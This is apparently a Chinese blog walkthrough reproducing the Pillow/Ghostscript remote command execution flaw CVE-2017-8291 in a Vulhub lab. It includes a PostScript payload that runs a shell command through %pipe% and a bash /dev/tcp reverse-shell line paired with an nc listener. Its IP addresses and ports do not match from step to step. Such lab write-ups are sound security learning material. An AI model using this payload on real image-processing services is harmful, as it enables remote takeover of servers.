Python PIL远程命令执行漏洞复现(CVE-2017-8291 CVE-2017-8291)

漏洞原理

Python中处理图片的模块PIL(Pillow),因为其内部调用了GhostScript而受到GhostButt漏洞(CVE-2017-8291)的影响,造成远程命令执行漏洞。

漏洞详情

漏洞简述

PIL内部根据图片头(Magic Bytes)判断图片类型,如果发现是一个eps文件(头为%!PS),则分发给PIL/EpsImagePlugin.py处理。
在这个模块中,PIL调用了系统的gs命令,也就是GhostScript来处理图片文件:

command = ["gs",
            "-q",                         # quiet mode
            "-g%dx%d" % size,             # set output geometry (pixels)
            "-r%fx%f" % res,              # set input DPI (dots per inch)
            "-dBATCH",                    # exit after processing
            "-dNOPAUSE",                  # don't pause between pages,
            "-dSAFER",                    # safe mode
            "-sDEVICE=ppmraw",            # ppm driver
            "-sOutputFile=%s" % outfile,  # output file
            "-c", "%d %d translate" % (-bbox[0], -bbox[1]),
                                            # adjust for image origin
            "-f", infile,                 # input file
            ]

# 省略判断是GhostScript是否安装的代码
try:
    with open(os.devnull, 'w+b') as devnull:
        subprocess.check_call(command, stdin=devnull, stdout=devnull)
    im = Image.open(outfile)

漏洞复现环境

名称系统名称IP地址
攻击机kali192.168.255.57
靶机centos7192.168.255.176

1、在centos7中开启docker环境,并拉取Vulhub漏洞源码

[root@didiplus ~]# git clone https://github.com/vulhub/vulhub.git

2、进入CVE-2017-8291

[root@didiplus CTF]# cd vulhub/python/PIL-CVE-2017-8291/
[root@didiplus PIL-CVE-2017-8291]# ls
01.png  app.py  docker-compose.yml  poc.png  README.md
[root@didiplus PIL-CVE-2017-8291]#

3、执行命令docker-compose up -d,拉取镜像。

[root@didiplus PIL-CVE-2017-8291]# docker-compose up -d
Creating pil-cve-2017-8291_web_1 ... done
[root@didiplus PIL-CVE-2017-8291]# docker ps -a
CONTAINER ID        IMAGE                                COMMAND                  CREATED             STATUS              PORTS                               NAMES
80c159201cad        vulhub/ghostscript:9.21-with-flask   "python app.py"          6 seconds ago       Up 3 seconds        0.0.0.0:8000->8000/tcp              pil-cve-2017-8291_web_1

4、在kali下访问靶场:http://192.168.255.167:8000/
在这里插入图片描述5、上传poc.png图片,使用vi打开该文件,内容如下:

...省略...
currentdevice null false mark /OutputFile (%pipe%touch /tmp/aaaaa)
.putdeviceparams
1 true .outputpage
.rsdparams
%{ } loop
0 0 .quit
%asdf

在这里插入图片描述

上传文件成功后,会在/tmp/目录下创建aaaaa文件。

6、在docker靶场中查看aaaaa文件,证明是否存在漏洞
在这里插入图片描述
成功在tmp目录下创建文件,说明存在漏洞。

通过反弹shell命令获取root权限。

1、在kail(攻击机)上,开启侦听端口8002端口,执行 nc -l -p 8002
在这里插入图片描述
2、修改poc.png的命令为反弹shell命令bash –c "bash –i >& /dev/tcp/192.168.32.1/777 0>&1"
在这里插入图片描述3、再次上传后,监听端口成功反弹shell
在这里插入图片描述
参考资料:
Python PIL 远程命令执行漏洞(GhostButt CVE-2017-8291 )
Python PIL 远程命令执行漏洞(GhostButt )

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

didiplus

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值